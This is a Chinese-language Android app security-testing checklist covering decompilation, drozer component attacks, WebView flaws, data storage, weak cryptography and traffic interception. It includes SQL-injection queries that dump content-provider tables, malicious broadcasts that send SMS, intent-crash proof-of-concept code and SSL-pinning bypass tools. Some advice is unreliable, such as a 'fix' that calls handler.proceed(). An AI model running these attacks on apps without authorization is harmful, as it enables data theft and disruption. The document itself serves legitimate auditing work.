一、客戶端程序安全測試

1.檢查apk的信息

java -jar GetApkInfo.jar tfkj.apk

2.數字簽名檢查

C:\Program Files\Java\jdk1.8.0_111\bin\jarsigner.exe -verify  C:\Users\bk\Desktop\天府科技云APP\天府科技云服務平臺\天府科技云服務平臺.apk

C:\Program Files\Java\jdk1.8.0_111\bin\jarsigner.exe -verify  C:\Users\bk\Desktop\天府科技云APP\天府科技云服務平臺\天府科技云服務平臺.apk   -verbose  -certs

開發者證書不規范,導致開發者身份信息不明

keytool.exe -printcert   -file   .\CERT.RSA

3.反編譯檢查

通過ApkScan.jar查看APP加固類型

apk反編譯為Java源代碼:

把 apk 當成 zip 并解壓,得到 classes.dex 文件

將解壓出來的classes.dex文件拷貝到dex2jar工具文件夾中

執行命令:d2j-dex2jar classes.dex

執行完畢后,得到反編譯而來的classes-dex2jar.jar文件

使用jd-gui.exe或者luyten-0.5.4打開 classes-dex2jar.jar文件,得到360安全加固混淆加密的源代碼。

apk編譯為smali語言:

java  -jar  [apktool_2.3.4.jar]  d  -f [apk地址]   -o  [輸出目錄]

java  -jar  apktool_2.3.3.jar d  [-s]   -f  C:\Users\bk\Desktop\天府科技云APP\天府科技云服務平臺.apk  -otfkj //遇到類似于淘寶app無法反編譯這樣,-s代表只反編譯xml文件

java  -jar  apktool_2.3.3.jar d  -f  C:\Users\bk\Desktop\天府科技云APP\天府科技云服務平臺.apk  -otfkj

或者:

apktool.bat d 天府科技云服務平臺.apk

4.檢查AndroidManifest.xml文件

java -jar AXMLPrinter2.jar AndroidManifest.xml > AndroidManifest.txt

或者

java -jar APKParser.jar 天府科技云服務平臺.apk  > AndroidManifest.txt

1.開啟應用程序數據可備份:

allowbackup備份權限,ture則存在備份數據泄露風險(未配置的情況下,默認為TRUE)

2.開啟不安全的debug模式:

Debuggable屬性,true則存在應用信息篡改泄露風險(未配置的情況下,默認為FALSE)

5.檢查是否存在Janus漏洞

(1)Janus漏洞(基于Janus漏洞,攻擊者可以修改APP而不影響其原始簽名,篡改后的APP可以成功安裝運行。應同時使用V1+V2簽名)

6.應用完整性校檢

將反編譯出來源碼中修改圖片文件名為test.png

進行重新生成apk包,命令如下:

java -jar apktool.jar b -f 待打包的文件夾 -o 輸出 apk 路徑

或者

apktool.bat b天府科技云服務平臺

天府科技云文件下便可以發現多了2個文件夾:build,dist(里面存放著打包出來的APK文件)

重新簽名APK命令如下:

java -jar signapk.jar testkey.x509.pem testkey.pk8 待簽apk文件路徑 簽名后輸出apk路徑

然后重新安裝apk,如果重新能安裝上,則文件完整性被破壞掉

二.組件安全測試

1、基本信息查詢

(1)、列出程序安裝包:

run app.package.list

(2)、獲取app名為drozer的包名( 中文APP名列不出來,可以使用:java -jar GetApkInfo.jar得到安裝app的包名)

命令:run app.package.list -f 包名

run app.package.list -f drozer

(3)、查看android四大組件攻擊面:

 命令:run app.package.attacksurface 包名 

 run app.package.attacksurface com.zhuoyigou.dese

2、activity(界面)組件測試
通常展現為一個可視化的用戶交互界面
(1)、查看對外的activity組件信息
命令:run app.activity.info -a 包名
run app.activity.info -a  com.zhuoyigou.dese

(2)、使用app.activity.start進行漏洞測試

命令:run app.activity.start --component 包名   組件名 

run app.activity.start --component com.mwr.example.sieve  com.mwr.example.sieve.PWList #繞過密碼進入系統,一般主要登錄窗口交互界面

調用暴露的activity組件(一般activity組件只會暴露一個程序啟動界面,在暴露其他的就屬于組件暴露,下面這個這是個測試,沒有組件暴露漏洞)

3、content provider(內容提供者)組件測試

主要用于在不同應用程序之間實現數據共享的功能

(1)、查看content provider組件信息

命令:run app.provider.info -a 包名
run app.provider.info -a  com.zhuoyigou.dese

(2)、Content Providers 數據泄露URL

命令:run scanner.provider.finduris  -a  包名
run scanner.provider.finduris -a com.zhuoyigou.dese

(3)、獲取各個Uri的數據

命令:run app.provider.query   可泄露的URL地址  --vertical
run app.provider.query   content://com.zhuoyigou.dese.ipc.provider/  --vertical

(3)、Content Providers SQL注入

命令1:run app.provider.query 能連接的URL地址   --projection "'"
命令2:run app.provider.query 能連接的URL地址  --selection "'"
run app.provider.query  content://com.zhuoyigou.dese.ipc.provider/   --selection "'"

報錯則說明存在SQL注入

(4)、列出所有表

命令:run app.provider.query  能連接的URL地址  --projection "* FROM SQLITE_MASTER WHERE type='table';--"
run app.provider.query  content://com.zhuoyigou.dese.ipc.provider/  --projection "* FROM SQLITE_MASTER WHERE type='table';--"
如下圖我們發現三張表android_metadata、Passwords、Key,從名稱上可以判斷android_metadata是系統相關表,另外兩可能和密碼等數據有關。


(5)、獲取某個表(如Key)中的數據:

命令:run app.provider.query  能連接的URL地址   --projection "* FROM 表名;--"
run app.provider.query  content://com.zhuoyigou.dese.ipc.provider/   --projection "* FROM Key;--"

(6)、檢測SQL注入

命令:run scanner.provider.injection -a 包名

run scanner.provider.injection -a com.zhuoyigou.dese
(7)、檢測目錄遍歷
命令:run scanner.provider.traversal -a  包名
run scanner.provider.traversal -a  com.zhuoyigou.dese

(8)讀取系統文件

命令:run app.provider.read 能連接的URL地址

run app.provider.read content://com.zhuoyigou.dese.ipc.provider/ 

(9)、下載系統文件到本地

命令:run app.provider.download 可用的下載文件地址  本地的絕對路徑

run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/data/data/com.mwr.example.sieve/databases/database.db d:/database.db

(9)、列出該app的表名

命令:run scanner.provider.sqltables -a 包名

run scanner.provider.sqltables -a com.zhuoyigou.dese 

4、service((服務)組件測試

無用戶界面,但它會在后臺一直執行

(1)、查看service組件信息

命令:run app.service.info -a 包名
run app.service.info -a com.zhuoyigou.dese

 (2)、調用內部服務組件

命令:run app.service.start --action 組件名 --component 包名 組件名

run app.service.start --action cn.jpush.android.service.DaemonService  --component com.zhuoyigou.dese cn.jpush.android.service.DaemonService

觀察狀態欄中的位置標志和GPS位置正在由FourGoats應用程序訪問

5、Broadcase receiver(廣播接收器)組件測試

無用戶界面,能夠啟動一個 activity 或 serice來響應它們收到的信息,或者用 NotificationManager 來通知用戶。利用intent對組件的觸發一般有兩類漏洞,一類是拒絕服務,一類的權限提升,拒絕服務危害性比較低,更多的只是影響應用服務質量;而權限提升將使得沒有該權限的應用可以通過intent觸發擁有該權限的應用,從而幫助其完成越權行為。

(1)、查看暴露的廣播組件信息:

命令:run app.broadcast.info -a 包名

run app.broadcast.info -a com.zhuoyigou.dese 

(2)、嘗試拒絕服務攻擊檢測,向廣播組件發送不完整intent(空action或空extras)

空action:

命令:run app.broadcast.send  --component  包名   廣播名(組件名)
run app.broadcast.send --component  com.zhuoyigou.dese  ReceiverName


 空extras:

命令:run app.broadcast.send --action 組件名
嘗試拒絕服務攻擊檢測,向廣播組件發送不完整intent使用空extras,可看到應用停止運行
run app.broadcast.send   --action   com.zhuoyigou.dese.receiver.JPushReceiver


(3)、惡意廣播
命令:run app.broadcast.send  --componen  包名      組件名    --extra string 組件名中發送的函數名1  字符串1  --extra string 組件名中發送的函數名2  字符串2
run app.broadcast.send --component org.owasp.goatdroid.fourgoats org.owasp.goatdroid.fourgoats.broadcastreceivers.SendSMSNowReceive --extra string  number 66666
run app.broadcast.send  --component  org.owasp.goatdroid.fourgoats org.owasp.goatdroid.fourgoats.broadcastreceivers.SendSMSNowReceiver --extra string phoneNumber 1111 --extra string message aaaa
或者
run app.broadcast.send --action 組件名  --extra string  組件名中發送的函數名1 字符串1 --extra string 組件名中發送的函數名2  字符串2
run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --extra string phoneNumber 1111 --extra string message aaaa
測試真實主機發送短信
run app.broadcast.send --component com.isi.vul_broadcastreceiver com.isi.vul_broadcastreceiver.MyBroadCastReceiver --extra string number 17*********


6.Intent本地拒絕服務檢測

1.通過使用drozer工具查看對外暴露組件的應用如下:

run app.activity.info –a 包名 grep -rn “get*Extra” ./ | more  # 檢測在獲取intent數據時是否進行了異常處理

2.使用反編譯工具打開應用,反編譯出應用源碼:

在源碼中查找以下示例源碼(主要查找getAction):

Intent i = new Intent();

if (i.getAction().equals("TestForNullPointerException")) {

    Log.d("TAG", "Test for Android Refuse Service Bug");

}

 如出現像以上代碼,getIntent()的intent附帶空數據、異常或畸形數據,而且處理getXXXExtra()獲取的數據時沒有進行異常捕獲,便存在風險。

 3.可使用adbshell驗證:

#adb shell

# am start -n 包(package)名/包名.活動(activity)名稱 

# am start -n com.android.music/com.android.music.MusicBrowserActivity #如果服務端出現崩潰界面,則可以證明漏洞存在

4.可造成本地拒絕服務:

1.ClassNotFoundException異常導致的拒絕服務:

源于程序沒有無法找到從getSerializableExtra ()獲取到的序列化類對象的類定義,因此發生類未定義的異常而導致應用崩潰。

Intent i = getIntent();

getSerializableExtra("serializable_key");

攻擊應用代碼片段:

Intent i = new Intent();

i.setClassName("com.alibaba.jaq.pocforrefuseservice", "com.alibaba.jaq.pocforrefuseservice.MainActivity");

i.putExtra("serializable_key", BigInteger.valueOf(1));

startActivity(i);

2.IndexOutOfBoundsException異常導致的拒絕服務:

源于程序沒有對getIntegerArrayListExtra()等獲取到的數據數組元素大小的判斷,從而導致數組訪問越界而導致應用崩潰;

漏洞應用代碼片段:

Intent intent = getIntent();

ArrayList intArray = intent.getIntegerArrayListExtra("user_id");

if (intArray != null) {

    for (int i = 0; i < USER_NUM; i++) {

        intArray.get(i);

    }

}

攻擊應用代碼片段:

Intent intent = new Intent();

intent.setClassName("com.alibaba.jaq.pocforrefuseservice", "com.alibaba.jaq.pocforrefuseservice.MainActivity");

ArrayList user_id = new ArrayList();

intent.putExtra("user_id", user_id);

startActivity(intent);

3.ClassNotFoundException異常導致的拒絕服務:

源于程序沒有無法找到從getSerializableExtra ()獲取到的序列化類對象的類定義,因此發生類未定義的異常而導致應用崩潰。漏洞應用代碼片段:

Intent i = getIntent();

i.getSerializableExtra("serializable_key");

攻擊應用代碼片段:

public void onCreate(Bundle savedInstanceState) {

     super.onCreate(savedInstanceState);

     setContentView(R.layout.main);

     Intent i = new Intent();

i.setClassName("com.alibaba.jaq.pocforrefuseservice", "com.alibaba.jaq.pocforrefuseservice.MainActivity");

     i.putExtra("serializable_key", new SelfSerializableData());

     startActivity(i);

 }

static  class SelfSerializableData implements Serializable {

     private static final long serialVersionUID = 42L;

     public SelfSerializableData() {

         super();

     }

 }

三.webview 組件安全

1.webview遠程命令執行漏洞

Android 4.2 版本以下的 webview 組件存在安全漏洞(CVE-2012-6636)。檢測客戶端是否采取措施避免漏洞被利用。檢查應用 AndroidManifest.xml 中的 targetSdkVersion 是否大于等于 17。

或者在線檢查;https://security.tencent.com/lucky/check_tools.html(在手機瀏覽器中打開)

2.webview 代碼執行

條件:targetsdkVersion<19,并且android版本小于4.2,并且反編譯代碼中搜索關鍵字addJavascriptInterface是否別調用。

Webview代碼執行漏洞出現在安卓2.1~4.3.1版本,檢查targetSdkVersion、minSdkVersion ,  若targetsdkVersion>=19或通過minSdkVersion進行限制則無此問題,否則在低版本上測試,(可使用相關檢測代碼),檢查代碼中是否使用addJavascriptInterface(),如果使用addJavascriptInterface,則會存在被注入js接口的漏洞。

3.WebView不校驗證書檢測

搜“onReceivedSslError”,看是否調用了handle.process()方法(在webview組件代碼中測試)

解決方案:

handler.cancel(); 或者paramAnonymousSslErrorHandler.proceed();

@SuppressLint("NewApi")
    @Override
    public void onReceivedSslError(WebView view, SslErrorHandler handler, SslError error) {
        //handler.proceed();// 接受證書
        super.onReceivedSslError(view, handler, error);
    }


4.WebView密碼明文保存檢測


搜”setSavePassword”,看是否顯式設置為false(在webview組件代碼中測試)

如果選擇”是”,密碼會被明文保到 /data/data/com.package.name/databases/webview.db 中

5.allowFileAccess導致的File域同源策略繞過漏洞

如果webview.getSettings().setAllowFileAccess(boolean)設置為true,則會面臨該問題;該漏洞是通過WebView對Javascript的延時執行和html文件替換產生的。

webview.getSettings().setAllowFileAccess(truet);

四、敏感信息安全測試

1.檢查私有目錄下的文件權限

此私有目錄通常位于:/data/data/包名,在測試時,建議完全退出客戶端后,再進行私有文件的測試。

首先查看相關文件的權限配置,正常的文件權限最后三位應為空(類似“rw-rw----” ),即除應用自己以外任何人無法讀寫;

目錄則允許多一個執行位(類似“rwxrwx—x” )。如下圖所示,(lib 子目錄是應用安裝時由 android 系統自動生成,可以略過)。

adb.exe shell

ls

cd com.sccl.app.technologyyun

ls al

2.檢查客戶端程序存儲在手機中的 SharedPreferences 配置文件

方法:檢查 /data/data/包名/shared_prefs下是否含有.xml配置文件里面包含敏感信息泄露

3..檢查客戶端程序存儲在手機中的 SQLite 數據庫文件

方法:一般在/data/data/包名/database目錄下.db文件,將其拷貝到桌面,使用SQLiteExper查看

4.檢查客戶端程序 apk 包中是否保存有敏感信息

方法:對APK進行反編譯得到源碼,然后 搜索" base64"和"KEY"看是否泄漏了敏感的KEY值

4.檢查logcat日志

檢查日志中是否包含敏感信息:

清空日志:

adb logcat -c 

持續輸出日志:

adb logcat > d:\test.log

一次性輸出日志:

adb shell logcat -d >d:\test2.txt

五.密碼軟鍵盤安全性測試

1.鍵盤劫持

方法:安全鍵盤劫持APP,KeyTest.apk,可以記錄軟鍵盤記錄,啟動APP,然后輸入信息,然后使用logcat輸出日志

通過觀察app在輸入密碼的地方是否會彈出自定義的軟鍵盤,沒有彈出軟鍵盤,則默認調用android系統默認鍵盤,可能被劫持。

2.屏幕錄像:

adb shell /system/bin/screencap -p 輸出 png 路徑(安卓設備中)

adb shell /system/bin/screencap -p /data/data/1.jpg #通過連續截圖,是否可以捕捉到用戶密碼輸入框的密碼

3.軟鍵盤安全性測試

用眼觀察每次彈出來的自定義的軟鍵盤是否隨機變化布局,每次啟動程序,輸入密碼,軟鍵盤位置不同。

六.安全策略設置測試

1.密碼復雜度檢測

方法:在注冊頁面使用弱口令進行注冊,看是否提示密碼復雜度不符合,或者注冊好后的賬號修改成弱密碼,然后登陸,是否提示密碼復雜度不符合。

2.單點登錄限制策略

測試一個帳號是否可以同時在多個設備上成功登錄客戶端,進行操作,可在本機安裝和虛擬機安卓機上分別登陸,是否提示多臺設備登陸

3.賬戶鎖定策略

測試客戶端是否限制登錄嘗試次數。比如連續輸入10次以上,是否賬號鎖定,或者沒有驗證碼驗證

4.會話超時策略

測試客戶端在超過 20 分鐘無操作后,是否會使會話超時并要求重新登錄。超時時間設置是否合理。

該APP 過了幾個小時,一直沒有退出。

5.界面切換保護

用戶切換到后臺但程序沒有結束運行或者結束程序運行,再返回應用的時候是否有需要身份驗證  ,手勢密碼或者密碼登錄

6. UI信息泄露

檢測是否對用戶的真實姓名、身份證號、銀行卡號、手機號等進行適當用星號進行脫敏處理。

7.驗證碼安全

測試驗證碼是否有時效性,以及短信轟炸等邏輯漏洞,或者弱的圖形驗證碼。

8.安全退出

使用抓包登錄,用之前登錄的cookie,然后退出,再進行請求是否登錄。

9.密碼修改驗證

修改密碼的時候,使用之前的舊的的密碼是否驗證舊密碼是否可用。

10.Activity界面劫持

打開應用,測試工具會嘗試用自己的窗口覆蓋被測的應用。測試工具試圖顯示自己的窗口時,安全的客戶端應該彈出警告提示。如果劫持成功,會出現如下界面:

11.賬號枚舉測試

輸入存在和不存在,看提示信息判斷

12.弱加密算法審查

1、使用反編譯工具進行反編譯

2、打開源碼后,查找代碼中查找關鍵字“des"和”base64"是否存在弱密碼加密。

SecretKeySpec key = new SecretKeySpec(rawKeyData, "DES");

Cipher cipher = Cipher.getInstance("DES/ECB/PKCS5Padding");

cipher.init(Cipher.DECRYPT_MODE, key);

3、RSA中不使用Padding:

使用RSA公鑰時通常會綁定一個padding,原因是為了防止一些依賴于no padding時對RSA算法的攻擊。風險代碼樣例:

下面出現安全問題:

Cipher rsa = null;

try {

  rsa = javax.crypto.Cipher.getInstance("RSA/NONE/NoPadding");

}

catch (java.security.NoSuchAlgorithmException e) {

}

catch (javax.crypto.NoSuchPaddingException e) {

}

SecretKeySpec key = new SecretKeySpec(rawKeyData, "RSA");

Cipher cipher = Cipher.getInstance("RSA/NONE/NoPadding");

cipher.init(Cipher.DECRYPT_MODE, key);

下圖是安全的:

4、沒有安全的初始化向量

初始化向量時,使用了硬編碼到程序的常量。風險代碼樣例:

byte[] iv = { 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 };

IvParameterSpec ips = new IvParameterSpec(iv)

5、  使用了不安全的加密模式(這里需要使用AES/CBC/PKCS7Padding)

SecretKeySpec key = new SecretKeySpec(keyBytes, "AES");

Cipher cipher = Cipher.getInstance("AES/ECB/PKCS7Padding", "BC");

cipher.init(Cipher.ENCRYPT_MODE, key);

下圖是安全的:

6、  使用了不安全的密鑰長度

public static KeyPair getRSAKey() throws NoSuchAlgorithmException {

KeyPairGenerator keyGen = KeyPairGenerator.getInstance("RSA");

keyGen.initialize(512);

KeyPair key = keyGen.generateKeyPair();

return key;

      }

14.私密問題驗證 

驗證客戶端是否存在忘記密碼時的私密問題驗證,或者需要提示輸入之前的原密碼或者原問題都可以。

13.應用權限測試

檢查申請應用權限是否大于業務需要權限,有即存在安全隱患。

七.手勢密碼安全測試

1.手勢密碼的復雜度

 反編譯 APK 為 jar 包,通過 jd-gui 觀察對應代碼邏輯是否有相應的判斷和限制條件。(一般設置手勢密碼若輸入點數過少時會有相應的文字提示,通過此文字提示可以快速定位到代碼位置,這里在反編譯代碼中搜索“至少連接4個點,請重新輸入").

注意這里需要設置2次相同的4個點的手勢密碼。

2.手勢密碼的修改和取消

1. 進入客戶端設置手勢密碼的位置,一般在個人設置或安全中心等地方。

2. 進行手勢密碼修改或取消操作,再次登錄,是否需要輸入修改后的手勢密碼,或者取消手勢密碼后,是否采用其他登錄方式登錄。

3.反編譯 APK 為 jar 包,通過 jd-gui 觀察對應代碼邏輯,尋找客戶端對于手勢密碼的修改和刪除是否存在相應的安全策略。

3.手勢密碼的本地信息保存

檢測在輸入手勢密碼以后客戶端是否會在本地記錄一些相關信息,例如明文或加密過的手勢密碼。

1. 首先通過正常的操作流程設置一個手勢密碼并完整一次完整的登陸過程。

2. 尋找/data/data 的私有目錄下是否存在手勢密碼對應敏感文件,若進行了相關的

信息保存,基本在此目錄下。(關鍵詞為 gesture, key 等)

4.手勢密碼的鎖定策略

1. 首先通過正常的操作流程設置一個手勢密碼。

2. 輸入不同于步驟 1 中的手勢密碼,觀察客戶端的登陸狀態及相應提示。若連續輸入多次手勢密碼錯誤,觀察當用戶處于登陸狀態時是否退出當前的登陸狀態并關閉客戶端;

3. 反編譯 APK 為 jar 包,通過 jd-gui 觀察對應代碼邏輯,尋找客戶端是否針對輸.入次數及鎖定時間有相應的邏輯處理。

5.手勢密碼的抗攻擊測試

驗證是否可以通過插件繞過手勢密碼的驗證頁面。

1. 下載并安裝 Xposed 框架及 SwipeBack 插件。

2. 啟動客戶端并進入手勢密碼輸入頁。

3. 啟動 SwipeBack 插件,觀察是否可以通過滑動關閉手勢密碼輸入頁的方式進入登陸后的頁面

八.通信安全測試

1.http通信分析

通過代理對其抓包分析,是否采用https加密,如沒有http就能明文獲取。

2.socket通信分析

使用tcpdump將設備中的應用操作引發的通信包導出,使用wireshark查看,命令如下:

tcpdump -w traffic.pcap

3.證書有效性

1.如果使用https.通過客戶端代理訪問,是否提示證書有效,客戶端程序和服務器端 SSL 通信是否嚴格檢查服務器端證書有效性。避免手機銀行用戶

受到 SSL 中間人攻擊后,密碼等敏感信息被嗅探到.

2.SSL 協議安全性。檢測客戶端使用的 SSL 版本號是否不小于 3.0(或 TLS v1),加密算法是否安全。(安全規范要求)

使用 openssl,指定域名和端口,可以看到 SSL 連接的類型和版本。如下圖所示,使用了 TLSv1,加密算法為 AES 256 位密鑰。(RC4,DES 等算法被認為是不安全的)。也可以使用這個網站在線檢查:https://www.ssllabs.com/ssltest/

4.關鍵數據加密和校檢

1.通過抓包分析https/http中傳輸的敏感數據這里主要是post提交的數據(密碼和銀行卡號是否加密)

2.嘗試在代理中篡改客戶端提交的數據,檢查服務端是否能檢測到篡改

5.訪問控制

利用截包工具獲取APP請求的url,是否能用PC瀏覽器打開該url;以及未授訪問直接登錄

6.客戶端更新安全性

更新客戶端,使用burp抓包--  檢測是否能夠修改更新時的流量,流量中含有更新服務器,是不是官方地址。

九.進程保護測試

1.外部動態加載DEX安全風險檢測

在反編譯處來的源碼中搜索:DexClassLoader

1.風險位置:

public DexClassLoader(String dexPath,String optimizedDirectory, String libraryPath, ClassLoader parent)[2]

2.查看AndroidManifest.xml包package值相對應路徑下的文件中是否含有DexClassLoader()函數調用

2.本地端口開放檢測

busybox netstat -tuanp|grep -Ei 'listen|udp*'

3.動態注入

通過xposed框架進行hook動態注入測試

或者參考:

https://github.com/crmulliner/ddi

4..存訪問和修改

可以使用 MemSpector 查看、搜索和修改客戶端內存數據,如圖所示。用戶名、密碼等數據通常會在/dev/ashmem/dalvik-heap 內存段。(目前大多數工具都是通過 ptrace 接口修改客戶端內存,可以使用 ptrace 機制本身防護。)

十、android下虛擬機下tcpdum抓包

adb命令:

幫助信息: adb help 

查看設備: adb devices 

登錄設備: adb shell     adb shell   

上傳文件:  adb push <本地路徑>  <遠程路徑>  

下載文件:  adb pull <遠程路徑>  <本地路徑>  

安裝軟件:  adb install [-r強制安裝] [-s將apk安裝在SD-Card]  

卸載軟件:  adb uninstall [-k 保留配置文件和緩存文件] <軟件名

本次用到虛擬機為逍遙模擬器:

adb push tcpdump /data/local/

adb shell

chmod 777 /data/local/tcpdump

cd /data/local

./tcpdump -i any -p -vv -s 0 -w capture.pcap

adb pull /data/local/capture.pcap d:\

十、android下xposed安裝以及常用插件安裝

1.xposed我是在騰訊安全寶應用市場,搜索xposed關鍵字下載的,安卓虛擬機用的最新版的逍遙模擬器

2.這里建議下載xposed 89框架版本

3.常用的模塊有justtrustme(繞過SSL證書抓包),xserver(主要對加密的URL連接進行hook解密)

這些都可以在github上找到響應的.apk文件進行安裝

http://127.0.0.1:8000/tracer